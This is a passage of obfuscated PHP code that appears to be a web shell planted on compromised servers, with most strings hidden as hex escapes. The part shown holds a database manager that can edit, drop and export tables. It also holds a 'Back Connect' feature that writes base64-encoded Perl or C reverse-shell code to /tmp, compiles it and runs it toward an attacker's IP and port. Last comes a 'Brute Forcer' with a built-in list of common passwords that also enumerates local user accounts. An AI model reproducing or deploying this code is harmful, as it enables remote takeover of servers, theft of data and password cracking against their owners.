p("\x3c\57\x74\162\x3e"); while($mn = @mysql_fetch_assoc($result)){ $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); $where = $tmp = $b1 = ''; foreach($mn as $key=>$inside){ if ($inside) { $where .= $tmp.$key."\x3d\47".addslashes($inside)."\x27"; $tmp = "\x20\101\x4e\104\x20"; } $b1 .= "\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e".html_clean($inside)."\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"; } $where = base64_encode($where); if ($allowedit) p("\x3c\164\x64\40\x6e\157\x77\162\x61\160\x3e\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\145\x64\151\x74\162\x65\143\x6f\162\x64\50\x5c\47\x65\144\x69\164\x5c\47\x2c\40\x5c\47".$where."\x5c\47\x2c\40\x5c\47".$tablename."\x5c\47\x29\73\x22\76\x45\144\x69\164\x3c\57\x61\76\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\145\x64\151\x74\162\x65\143\x6f\162\x64\50\x5c\47\x64\145\x6c\134\x27\54\x20\134\x27".$where."\x5c\47\x2c\40\x5c\47".$tablename."\x5c\47\x29\73\x22\76\x44\145\x6c\74\x2f\141\x3e\74\x2f\164\x64\76"); p($b1); p("\x3c\57\x74\162\x3e"); unset($b1); } tbfoot(); p($multipage); break; case 2: $ar = mysql_affected_rows(); p("\x3c\150\x32\76\x61\146\x66\145\x63\164\x65\144\x20\162\x6f\167\x73\40\x3a\40\x3c\142\x3e".$ar."\x3c\57\x62\76\x3c\57\x68\62\x3e"); break; } } } } } else { $query = q("\x53\110\x4f\127\x20\124\x41\102\x4c\105\x20\123\x54\101\x54\125\x53"); $table_num = $table_rows = $data_size = 0; $tabledb = array(); while($table = mysql_fetch_array($query)) { $data_size = $data_size + $table["\x44\141\x74\141\x5f\154\x65\156\x67\164\x68"]; $table_rows = $table_rows + $table["\x52\157\x77\163"]; $table["\x44\141\x74\141\x5f\154\x65\156\x67\164\x68"] = sizecount($table["\x44\141\x74\141\x5f\154\x65\156\x67\164\x68"]); $table_num++; $tabledb[] = $table; } $data_size = sizecount($data_size); unset($table); p("\x3c\164\x61\142\x6c\145\x20\142\x6f\162\x64\145\x72\75\x22\60\x22\40\x63\145\x6c\154\x70\141\x64\144\x69\156\x67\75\x22\60\x22\40\x63\145\x6c\154\x73\160\x61\143\x69\156\x67\75\x22\60\x22\76"); p("\x3c\146\x6f\162\x6d\40\x61\143\x74\151\x6f\156\x3d\42".$self."\x22\40\x6d\145\x74\150\x6f\144\x3d\42\x50\117\x53\124\x22\76"); makehide("\x61\143\x74\151\x6f\156","\x73\161\x6c\141\x64\155\x69\156"); p($dbform); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\150\x65\141\x64\42\x3e"); p("\x3c\164\x64\40\x77\151\x64\164\x68\75\x22\62\x25\42\x20\141\x6c\151\x67\156\x3d\42\x63\145\x6e\164\x65\162\x22\76\x3c\151\x6e\160\x75\164\x20\156\x61\155\x65\75\x22\143\x68\153\x61\154\x6c\42\x20\166\x61\154\x75\145\x3d\42\x6f\156\x22\40\x74\171\x70\145\x3d\42\x63\150\x65\143\x6b\142\x6f\170\x22\40\x6f\156\x63\154\x69\143\x6b\75\x22\103\x68\145\x63\153\x41\154\x6c\50\x74\150\x69\163\x2e\146\x6f\162\x6d\51\x22\40\x2f\76\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x4e\141\x6d\145\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x52\157\x77\163\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x44\141\x74\141\x5f\154\x65\156\x67\164\x68\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x43\162\x65\141\x74\145\x5f\164\x69\155\x65\74\x2f\164\x64\76"); p("\x3c\164\x64\76\x55\160\x64\141\x74\145\x5f\164\x69\155\x65\74\x2f\164\x64\76"); if ($highver) { p("\x3c\164\x64\76\x45\156\x67\151\x6e\145\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x43\157\x6c\154\x61\164\x69\157\x6e\74\x2f\164\x64\76"); } p("\x3c\57\x74\162\x3e"); foreach ($tabledb as $key => $table) { $thisbg = bg(); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x22\146\x6f\165\x74\42\x20\157\x6e\155\x6f\165\x73\145\x6f\166\x65\162\x3d\42\x74\150\x69\163\x2e\143\x6c\141\x73\163\x4e\141\x6d\145\x3d\134\x27\146\x6f\143\x75\163\x5c\47\x3b\42\x20\157\x6e\155\x6f\165\x73\145\x6f\165\x74\75\x22\164\x68\151\x73\56\x63\154\x61\163\x73\116\x61\155\x65\75\x5c\47\x66\157\x75\164\x5c\47\x3b\42\x3e"); p("\x3c\164\x64\40\x61\154\x69\147\x6e\75\x22\143\x65\156\x74\145\x72\42\x20\167\x69\144\x74\150\x3d\42\x32\45\x22\76\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\143\x68\145\x63\153\x62\157\x78\42\x20\156\x61\155\x65\75\x22\164\x61\142\x6c\145\x5b\135\x22\40\x76\141\x6c\165\x65\75\x22".$table["\x4e\141\x6d\145"]."\x22\40\x2f\76\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$table["\x4e\141\x6d\145"]."\x5c\47\x29\73\x22\76".$table["\x4e\141\x6d\145"]."\x3c\57\x61\76\x20\133\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$table["\x4e\141\x6d\145"]."\x5c\47\x2c\40\x5c\47\x69\156\x73\145\x72\164\x5c\47\x29\73\x22\76\x49\156\x73\145\x72\164\x3c\57\x61\76\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$table["\x4e\141\x6d\145"]."\x5c\47\x2c\40\x5c\47\x73\164\x72\165\x63\164\x75\162\x65\134\x27\51\x3b\42\x3e\123\x74\162\x75\143\x74\165\x72\145\x3c\57\x61\76\x20\174\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$table["\x4e\141\x6d\145"]."\x5c\47\x2c\40\x5c\47\x64\162\x6f\160\x5c\47\x29\73\x22\76\x44\162\x6f\160\x3c\57\x61\76\x20\135\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table["\x52\157\x77\163"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table["\x44\141\x74\141\x5f\154\x65\156\x67\164\x68"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table["\x43\162\x65\141\x74\145\x5f\164\x69\155\x65"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table["\x55\160\x64\141\x74\145\x5f\164\x69\155\x65"]."\x3c\57\x74\144\x3e"); if ($highver) { p("\x3c\164\x64\76".$table["\x45\156\x67\151\x6e\145"]."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table["\x43\157\x6c\154\x61\164\x69\157\x6e"]."\x3c\57\x74\144\x3e"); } p("\x3c\57\x74\162\x3e"); } p("\x3c\164\x72\40\x63\154\x61\163\x73\75\x66\157\x75\164\x3e"); p("\x3c\164\x64\76\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76\x54\157\x74\141\x6c\40\x74\141\x62\154\x65\163\x3a\40".$table_num."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$table_rows."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\76".$data_size."\x3c\57\x74\144\x3e"); p("\x3c\164\x64\40\x63\157\x6c\163\x70\141\x6e\75\x22".($highver ? 4 : 2)."\x22\76\x26\156\x62\163\x70\73\x3c\57\x74\144\x3e"); p("\x3c\57\x74\162\x3e"); p("\x3c\164\x72\40\x63\154\x61\163\x73\75\"\x66\157\x75\164\"\x3e\74\x74\144\x20\143\x6f\154\x73\160\x61\156\x3d\"".($highver ? 8 : 6)."\"\x3e\74\x69\156\x70\165\x74\40\x6e\141\x6d\145\x3d\"\163\x61\166\x65\141\x73\146\x69\154\x65\"\40\x76\141\x6c\165\x65\75\"\x31\"\40\x74\171\x70\145\x3d\"\143\x68\145\x63\153\x62\157\x78\"\40\x2f\76\x20\123\x61\166\x65\40\x61\163\x20\146\x69\154\x65\40\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\"\151\x6e\160\x75\164\"\x20\156\x61\155\x65\75\"\x70\141\x74\150\"\x20\166\x61\154\x75\145\x3d\"".SA_ROOT.$_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"]."\x5f\115\x79\123\x51\114\x2e\163\x71\154\"\x20\164\x79\160\x65\75\"\x74\145\x78\164\"\x20\163\x69\172\x65\75\"\x36\60\"\x20\57\x3e\40\x3c\151\x6e\160\x75\164\x20\143\x6c\141\x73\163\x3d\"\142\x74\"\40\x74\171\x70\145\x3d\"\163\x75\142\x6d\151\x74\"\40\x6e\141\x6d\145\x3d\"\144\x6f\167\x6e\162\x61\162\"\x20\166\x61\154\x75\145\x3d\"\105\x78\160\x6f\162\x74\40\x73\145\x6c\145\x63\164\x69\157\x6e\40\x74\141\x62\154\x65\"\40\x2f\76\x3c\57\x74\144\x3e\74\x2f\164\x72\76"); makehide("\x64\157\x69\156\x67","\x62\141\x63\153\x75\160\x6d\171\x73\161\x6c"); formfoot(); p("\x3c\57\x74\141\x62\154\x65\76"); fr($query); } } } tbfoot(); @mysql_close(); } elseif ($action == "\x62\141\x63\153\x63\157\x6e\156\x65\143\x74") { !$yourip && $yourip = $_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]; !$yourport && $yourport = "\x31\62\x33\64\x35"; $usedb = array("\x70\145\x72\154"=>"\x70\145\x72\154","\x63"=>"\x63"); $back_connect="\x49\171\x45\166\x64\130\x4e\171\x4c\62\x4a\160\x62\151\x39\167\x5a\130\x4a\163\x44\121\x70\61\x63\62\x55\147\x55\62\x39\152\x61\62\x56\60\x4f\167\x30\113\x4a\107\x4e\164\x5a\104\x30\147\x49\155\x78\65\x62\156\x67\151\x4f\167\x30\113\x4a\110\x4e\65\x63\63\x52\154\x62\124\x30\147\x4a\62\x56\152\x61\107\x38\147\x49\155\x42\61\x62\155\x46\164\x5a\123\x41\164\x59\127\x41\151\x4f\62\x56\152". "\x61\107\x38\147\x49\155\x42\160\x5a\107\x41\151\x4f\171\x39\151\x61\127\x34\166\x63\62\x67\156\x4f\167\x30\113\x4a\104\x41\71\x4a\107\x4e\164\x5a\104\x73\116\x43\151\x52\60\x59\130\x4a\156\x5a\130\x51\71\x4a\105\x46\123\x52\61\x5a\142\x4d\106\x30\67\x44\121\x6f\153\x63\107\x39\171\x64\104\x30\153\x51\126\x4a\110\x56\154\x73\170\x58\124\x73\116\x43\151\x52\160\x59\127\x52\153\x63\152\x31\160\x62\155\x56\60\x58\62\x46\60\x62\62\x34\157\x4a\110\x52". "\x68\143\x6d\144\x6c\144\x43\153\x67\146\x48\167\x67\132\x47\154\x6c\113\x43\112\x46\143\x6e\112\x76\143\x6a\157\x67\112\x43\106\x63\142\x69\111\x70\117\x77\60\x4b\112\x48\102\x68\132\x47\122\x79\120\x58\116\x76\131\x32\164\x68\132\x47\122\x79\130\x32\154\x75\113\x43\122\x77\142\x33\112\x30\114\x43\101\x6b\141\x57\106\x6b\132\x48\111\x70\111\x48\170\x38\111\x47\122\x70\132\x53\147\x69\122\x58\112\x79\142\x33\111\x36\111\x43\121\x68\130\x47\64\x69\113\x54". "\x73\116\x43\151\x52\167\x63\155\x39\60\x62\172\x31\156\x5a\130\x52\167\x63\155\x39\60\x62\62\x4a\65\x62\155\x46\164\x5a\123\x67\156\x64\107\x4e\167\x4a\171\x6b\67\x44\121\x70\172\x62\62\x4e\162\x5a\130\x51\157\x55\60\x39\104\x53\60\x56\125\x4c\103\x42\121\x52\154\x39\112\x54\153\x56\125\x4c\103\x42\124\x54\60\x4e\114\x58\61\x4e\125\x55\153\x56\102\x54\123\x77\147\x4a\110\x42\171\x62\63\x52\166\x4b\123\x42\70\x66\103\x42\153\x61\127\x55\157\x49". "\x6b\126\x79\143\x6d\71\x79\117\x69\101\x6b\111\x56\170\x75\111\x69\153\x37\104\x51\160\x6a\142\x32\65\x75\132\x57\116\x30\113\x46\116\x50\121\x30\164\x46\126\x43\167\x67\112\x48\102\x68\132\x47\122\x79\113\x53\102\x38\146\x43\102\x6b\141\x57\125\x6f\111\x6b\126\x79\143\x6d\71\x79\117\x69\101\x6b\111\x56\170\x75\111\x69\153\x37\104\x51\160\x76\143\x47\126\x75\113\x46\116\x55\122\x45\154\x4f\114\x43\101\x69\120\x69\132\x54\124\x30\116\x4c\122\x56\121\x69". "\x4b\124\x73\116\x43\155\x39\167\x5a\127\x34\157\x55\61\x52\105\x54\61\x56\125\x4c\103\x41\151\x50\151\x5a\124\x54\60\x4e\114\x52\126\x51\151\x4b\124\x73\116\x43\155\x39\167\x5a\127\x34\157\x55\61\x52\105\x52\126\x4a\123\x4c\103\x41\151\x50\151\x5a\124\x54\60\x4e\114\x52\126\x51\151\x4b\124\x73\116\x43\156\x4e\65\x63\63\x52\154\x62\123\x67\153\x63\63\x6c\172\x64\107\x56\164\x4b\124\x73\116\x43\155\x4e\163\x62\63\x4e\154\x4b\106\x4e\125\x52\105\x6c". "\x4f\113\x54\163\x4e\103\x6d\116\x73\142\x33\116\x6c\113\x46\116\x55\122\x45\71\x56\126\x43\153\x37\104\x51\160\x6a\142\x47\71\x7a\132\x53\150\x54\126\x45\122\x46\125\x6c\111\x70\117\x77\75\x3d"; $back_connect_c="\x49\62\x6c\165\x59\62\x78\61\x5a\107\x55\147\x50\110\x4e\60\x5a\107\x6c\166\x4c\155\x67\53\x44\121\x6f\152\x61\127\x35\152\x62\110\x56\153\x5a\123\x41\70\x63\63\x6c\172\x4c\63\x4e\166\x59\62\x74\154\x64\103\x35\157\x50\147\x30\113\x49\62\x6c\165\x59\62\x78\61\x5a\107\x55\147\x50\107\x35\154\x64\107\x6c\165\x5a\130\x51\166\x61\127\x34\165\x61\104\x34\116\x43\155\x6c\165\x64\103". "\x42\164\x59\127\x6c\165\x4b\107\x6c\165\x64\103\x42\150\x63\155\x64\152\x4c\103\x42\152\x61\107\x46\171\x49\103\x70\150\x63\155\x64\62\x57\61\x30\160\x44\121\x70\67\x44\121\x6f\147\x61\127\x35\60\x49\107\x5a\153\x4f\167\x30\113\x49\110\x4e\60\x63\156\x56\152\x64\103\x42\172\x62\62\x4e\162\x59\127\x52\153\x63\154\x39\160\x62\151\x42\172\x61\127\x34\67\x44\121\x6f\147\x59\62\x68\150\x63\151\x42\171\x62\130\x4e\142\x4d\152\x46\144\x50\123\x4a\171\x62". "\x53\101\x74\132\x69\101\x69\117\x79\101\x4e\103\x69\102\x6b\131\x57\126\x74\142\x32\64\x6f\115\x53\167\x77\113\x54\163\x4e\103\x69\102\x7a\141\x57\64\x75\143\x32\154\x75\130\x32\132\x68\142\x57\154\x73\145\x53\101\x39\111\x45\106\x47\130\x30\154\x4f\122\x56\121\x37\104\x51\157\x67\143\x32\154\x75\114\x6e\116\x70\142\x6c\71\x77\142\x33\112\x30\111\x44\60\x67\141\x48\122\x76\142\x6e\115\x6f\131\x58\122\x76\141\x53\150\x68\143\x6d\144\x32\127\x7a\112\x64". "\x4b\123\x6b\67\x44\121\x6f\147\x63\62\x6c\165\x4c\156\x4e\160\x62\154\x39\150\x5a\107\x52\171\x4c\156\x4e\146\x59\127\x52\153\x63\151\x41\71\x49\107\x6c\165\x5a\130\x52\146\x59\127\x52\153\x63\151\x68\150\x63\155\x64\62\x57\172\x46\144\x4b\124\x73\147\x44\121\x6f\147\x59\156\x70\154\x63\155\x38\157\x59\130\x4a\156\x64\154\x73\170\x58\123\x78\172\x64\110\x4a\163\x5a\127\x34\157\x59\130\x4a\156\x64\154\x73\170\x58\123\x6b\162\x4d\123\x74\172\x64\110\x4a". "\x73\132\x57\64\x6f\131\x58\112\x6e\144\x6c\163\x79\130\x53\153\x70\117\x79\101\x4e\103\x69\102\x6d\132\x43\101\x39\111\x48\116\x76\131\x32\164\x6c\144\x43\150\x42\122\x6c\71\x4a\124\x6b\126\x55\114\x43\102\x54\124\x30\116\x4c\130\x31\116\x55\125\x6b\126\x42\124\x53\167\x67\123\x56\102\x51\125\x6b\71\x55\124\x31\71\x55\121\x31\101\x70\111\x44\163\x67\104\x51\157\x67\141\x57\131\x67\113\x43\150\x6a\142\x32\65\x75\132\x57\116\x30\113\x47\132\x6b\114\x43". "\x41\157\x63\63\x52\171\x64\127\x4e\60\x49\110\x4e\166\x59\62\x74\150\x5a\107\x52\171\x49\103\x6f\160\x49\103\x5a\172\x61\127\x34\163\x49\110\x4e\160\x65\155\x56\166\x5a\151\x68\172\x64\110\x4a\61\x59\63\x51\147\x63\62\x39\152\x61\62\x46\153\x5a\110\x49\160\x4b\123\x6b\70\x4d\103\x6b\147\x65\167\x30\113\x49\103\x41\147\x63\107\x56\171\x63\155\x39\171\x4b\103\x4a\142\x4c\126\x30\147\x59\62\x39\165\x62\155\x56\152\x64\103\x67\160\x49\151\x6b\67\x44". "\x51\157\x67\111\x43\102\x6c\145\x47\154\x30\113\x44\101\x70\117\x77\60\x4b\111\x48\60\x4e\103\x69\102\x7a\144\x48\112\x6a\131\x58\121\x6f\143\x6d\61\x7a\114\x43\102\x68\143\x6d\144\x32\127\x7a\102\x64\113\x54\163\x4e\103\x69\102\x7a\145\x58\116\x30\132\x57\60\x6f\143\x6d\61\x7a\113\x54\163\x67\111\x41\60\x4b\111\x47\122\x31\143\x44\111\x6f\132\x6d\121\x73\111\x44\101\x70\117\x77\60\x4b\111\x47\122\x31\143\x44\111\x6f\132\x6d\121\x73\111\x44\105\x70". "\x4f\167\x30\113\x49\107\x52\61\x63\104\x49\157\x5a\155\x51\163\x49\104\x49\160\x4f\167\x30\113\x49\107\x56\64\x5a\127\x4e\163\x4b\103\x49\166\x59\155\x6c\165\x4c\63\x4e\157\x49\151\x77\151\x63\62\x67\147\x4c\127\x6b\151\x4c\103\x42\117\x56\125\x78\115\x4b\124\x73\116\x43\151\x42\152\x62\107\x39\172\x5a\123\x68\155\x5a\103\x6b\67\x49\101\x30\113\x66\121\x3d\75"; if ($start && $yourip && $yourport && $use){ if ($use == "\x70\145\x72\154") { cf("\x2f\164\x6d\160\x2f\141\x6e\147\x65\154\x5f\142\x63",$back_connect); $res = execute(which("\x70\145\x72\154")."\x20\57\x74\155\x70\57\x61\156\x67\145\x6c\137\x62\143\x20$yourip\x20$yourport\x20\46"); } else { cf("\x2f\164\x6d\160\x2f\141\x6e\147\x65\154\x5f\142\x63\56\x63",$back_connect_c); $res = execute("\x67\143\x63\40\x2d\157\x20\57\x74\155\x70\57\x61\156\x67\145\x6c\137\x62\143\x20\57\x74\155\x70\57\x61\156\x67\145\x6c\137\x62\143\x2e\143"); @unlink("\x2f\164\x6d\160\x2f\141\x6e\147\x65\154\x5f\142\x63\56\x63"); $res = execute("\x2f\164\x6d\160\x2f\141\x6e\147\x65\154\x5f\142\x63\40$yourip\x20$yourport\x20\46"); } m("\x4e\157\x77\40\x73\143\x72\151\x70\164\x20\164\x72\171\x20\143\x6f\156\x6e\145\x63\164\x20\164\x6f\40$yourip\x20\160\x6f\162\x74\40$yourport\x20\56\x2e\56"); } formhead(array("\x74\151\x74\154\x65"=>"\x42\141\x63\153\x20\103\x6f\156\x6e\145\x63\164")); makehide("\x61\143\x74\151\x6f\156","\x62\141\x63\153\x63\157\x6e\156\x65\143\x74"); p("\x3c\160\x3e"); p("\x59\157\x75\162\x20\111\x50\72"); makeinput(array("\x6e\141\x6d\145"=>"\x79\157\x75\162\x69\160","\x73\151\x7a\145"=>20,"\x76\141\x6c\165\x65"=>$yourip)); p("\x59\157\x75\162\x20\120\x6f\162\x74\72"); makeinput(array("\x6e\141\x6d\145"=>"\x79\157\x75\162\x70\157\x72\164","\x73\151\x7a\145"=>15,"\x76\141\x6c\165\x65"=>$yourport)); p("\x55\163\x65\72"); makeselect(array("\x6e\141\x6d\145"=>"\x75\163\x65","\x6f\160\x74\151\x6f\156"=>$usedb,"\x73\145\x6c\145\x63\164\x65\144"=>$use)); makeinput(array("\x6e\141\x6d\145"=>"\x73\164\x61\162\x74","\x76\141\x6c\165\x65"=>"\x53\164\x61\162\x74","\x74\171\x70\145"=>"\x73\165\x62\155\x69\164","\x63\154\x61\163\x73"=>"\x62\164")); p("\x3c\57\x70\76"); formfoot(); } elseif ($action == "\x62\162\x75\164\x65") { formhead(array("\x74\151\x74\154\x65"=>"\x42\162\x75\164\x65\40\x46\157\x72\143\x65\162")); makehide("\x61\143\x74\151\x6f\156","\x62\162\x75\164\x65"); makehide("\x64\151\x72",$brute); @ini_set("\x6d\145\x6d\157\x72\171\x5f\154\x69\155\x69\164", 1000000000000); $connect_timeout=5; @set_time_limit(0); $submit = $_REQUEST["\x73\165\x62\155\x69\164"]; $users = $_REQUEST["\x75\163\x65\162\x73"]; $pass = $_REQUEST["\x70\141\x73\163\x77\157\x72\144\x73"]; $target = $_REQUEST["\x74\141\x72\147\x65\164"]; $option = $_REQUEST["\x6f\160\x74\151\x6f\156"]; $passlist = "\x30\61\x32\63\x34\65\x36\15\xa\60\x31\62\x33\64\x35\66\x37\15\xa\60\x31\62\x33\64\x35\66\x37\70\xd\12\x30\61\x32\63\x34\65\x36\67\x38\71\xd\12\x30\61\x32\63\x34\65\x36\67\x38\71\x30\15\xa\61\x32\63\x34\65\x36\15\xa\61\x32\63\x34\65\x36\67\xd\12\x31\62\x33\64\x35\66\x37\70\xd\12\x31\62\x33\64\x35\66\x37\70\x39\15\xa\61\x32\63\x34\65\x36\67\x38\71\x30\15\xa\61\x31\61\x31\61\x31\15\xa\60\x30\60\x30\60\x30\15\xa\62\x32\62\x32\62\x32\15\xa\63\x33\63\x33\63\x33\15\xa\64\x34\64\x34\64\x34\15\xa\65\x35\65\x35\65\x35\15\xa\66\x36\66\x36\66\x36\15\xa\67\x37\67\x37\67\x37\15\xa\70\x38\70\x38\70\x38\15\xa\71\x39\71\x39\71\x39\15\xa\61\x32\63\x31\62\x33\15\xa\64\x35\66\x34\65\x36\15\xa\67\x38\71\x37\70\x39\15\xa\61\x32\63\x33\62\x31\15\xa\64\x35\66\x36\65\x34\15\xa\66\x35\64\x33\62\x31\15\xa\67\x36\65\x34\63\x32\61\xd\12\x38\67\x36\65\x34\63\x32\61\xd\12\x39\70\x37\66\x35\64\x33\62\x31\15\xa\60\x39\70\x37\66\x35\64\x33\62\x31\15\xa\141\x64\155\x69\156\xd\12\x61\144\x6d\151\x6e\151\x73\164\x72\141\x74\157\x72\15\xa\141\x64\155\x69\156\x63\160\xd\12\x63\160\x61\156\x65\154\xd\12\x61\144\x6d\151\x6e\170\xd\12\x61\144\x6d\151\x6e\163\xd\12\x70\141\x73\163\x77\157\x72\144\xd\12\x70\141\x73\163\x77\157\x72\144\x73\15\xa\160\x61\163\x73\167\x30\162\x64\15\xa\160\x40\163\x73\167\x30\162\x64\15\xa\160\x40\163\x73\167\x6f\162\x64\15\xa\153\x68\157\x6e\147\x63\157\xd\12\x32\65\x32\65\x31\63\x32\65\xd\12\x70\141\x73\163\x77\60\x72\144\x73"; if($target == ''){ $target = "\x6c\157\x63\141\x6c\150\x6f\163\x74"; } print "\x20\74\x64\151\x76\40\x61\154\x69\147\x6e\75\x27\143\x65\156\x74\145\x72\47\x3e\15\xa\15\xa\74\x66\157\x72\155\x20\155\x65\164\x68\157\x64\75\x27\160\x6f\163\x74\47\x20\163\x74\171\x6c\145\x3d\47\x62\157\x72\144\x65\162\x3a\40\x31\160\x78\40\x73\157\x6c\151\x64\40\x23\60\x30\60\x30\60\x30\47\x3e\74\x62\162\x3e\74\x62\162\x3e\15\xa\74\x54\101\x42\114\x45\40\x73\164\x79\154\x65\75\x27\102\x4f\122\x44\105\x52\55\x43\117\x4c\114\x41\120\x53\105\x3a\40\x63\157\x6c\154\x61\160\x73\145\x27\40\x63\145\x6c\154\x53\160\x61\143\x69\156\x67\75\x30\40\x62\157\x72\144\x65\162\x43\157\x6c\157\x72\104\x61\162\x6b\75\x23\71\x36\66\x31\61\x37\40\x63\145\x6c\154\x50\141\x64\144\x69\156\x67\75\x35\40\x77\151\x64\164\x68\75\x27\64\x30\45\x27\40\x62\147\x43\157\x6c\157\x72\75\x23\63\x30\63\x30\63\x30\40\x62\157\x72\144\x65\162\x43\157\x6c\157\x72\114\x69\147\x68\164\x3d\43\x39\66\x36\61\x31\67\x20\142\x6f\162\x64\145\x72\75\x31\76\x3c\164\x72\76\x3c\164\x64\76\xd\12\x3c\142\x3e\40\x54\141\x72\147\x65\164\x20\40\x3a\40\x3c\57\x66\157\x6e\164\x3e\74\x69\156\x70\165\x74\40\x74\171\x70\145\x3d\47\x74\145\x78\164\x27\40\x6e\141\x6d\145\x3d\47\x74\141\x72\147\x65\164\x27\40\x73\151\x7a\145\x3d\47\x31\66\x27\40\x76\141\x6c\165\x65\75\x20$target\x20\163\x74\171\x6c\145\x3d\47\x62\157\x72\144\x65\162\x3a\40\x66\157\x6e\164\x2d\146\x61\155\x69\154\x79\72\x74\141\x68\157\x6d\141\x3b\40\x66\157\x6e\164\x2d\167\x65\151\x67\150\x74\72\x62\157\x6c\144\x3b\47\x3e\74\x2f\160\x3e\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x3c\57\x70\76\xd\12\x3c\144\x69\166\x20\141\x6c\151\x67\156\x3d\47\x63\145\x6e\164\x65\162\x27\76\x3c\142\x72\76\xd\12\x3c\124\x41\102\x4c\105\x20\163\x74\171\x6c\145\x3d\47\x42\117\x52\104\x45\122\x2d\103\x4f\114\x4c\101\x50\123\x45\72\x20\143\x6f\154\x6c\141\x70\163\x65\47\x20\143\x65\154\x6c\123\x70\141\x63\151\x6e\147\x3d\60\x20\142\x6f\162\x64\145\x72\103\x6f\154\x6f\162\x44\141\x72\153\x3d\43\x39\66\x36\61\x31\67\x20\143\x65\154\x6c\120\x61\144\x64\151\x6e\147\x3d\65\x20\167\x69\144\x74\150\x3d\47\x35\60\x25\47\x20\142\x67\103\x6f\154\x6f\162\x3d\43\x33\60\x33\60\x33\60\x20\142\x6f\162\x64\145\x72\103\x6f\154\x6f\162\x4c\151\x67\150\x74\75\x23\71\x36\66\x31\61\x37\40\x62\157\x72\144\x65\162\x3d\61\x3e\15\xa\74\x74\162\x3e\15\xa\74\x74\144\x20\141\x6c\151\x67\156\x3d\47\x63\145\x6e\164\x65\162\x27\76\xd\12\x3c\142\x3e\125\x73\145\x72\156\x61\155\x65\74\x2f\142\x3e\74\x2f\164\x64\76\xd\12\x3c\164\x64\76\xd\12\x3c\160\x20\141\x6c\151\x67\156\x3d\47\x63\145\x6e\164\x65\162\x27\76\xd\12\x3c\142\x3e\120\x61\163\x73\167\x6f\162\x64\74\x2f\142\x3e\74\x2f\164\x64\76\xd\12\x3c\57\x74\162\x3e\15\xa\74\x2f\164\x61\142\x6c\145\x3e\15\xa\15\xa\74\x70\40\x61\154\x69\147\x6e\75\x27\143\x65\156\x74\145\x72\47\x3e\15\xa\74\x74\145\x78\164\x61\162\x65\141\x20\162\x6f\167\x73\75\x27\62\x30\47\x20\156\x61\155\x65\75\x27\165\x73\145\x72\163\x27\40\x63\157\x6c\163\x3d\47\x32\65\x27\40\x73\164\x79\154\x65\75\x27\142\x6f\162\x64\145\x72\72\x20\62\x70\170\x20\163\x6f\154\x69\144\x20\43\x31\104\x31\104\x31\104\x3b\40\x62\141\x63\153\x67\162\x6f\165\x6e\144\x2d\143\x6f\154\x6f\162\x3a\40\x23\60\x30\60\x30\60\x30\73\x20\143\x6f\154\x6f\162\x3a\43\x43\60\x43\60\x43\60\x27\76"; $i = 0; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list ($key, $vba_etcpwd) = each($line)){ echo "".$vba_etcpwd."\n"; break; } } $i++; } echo 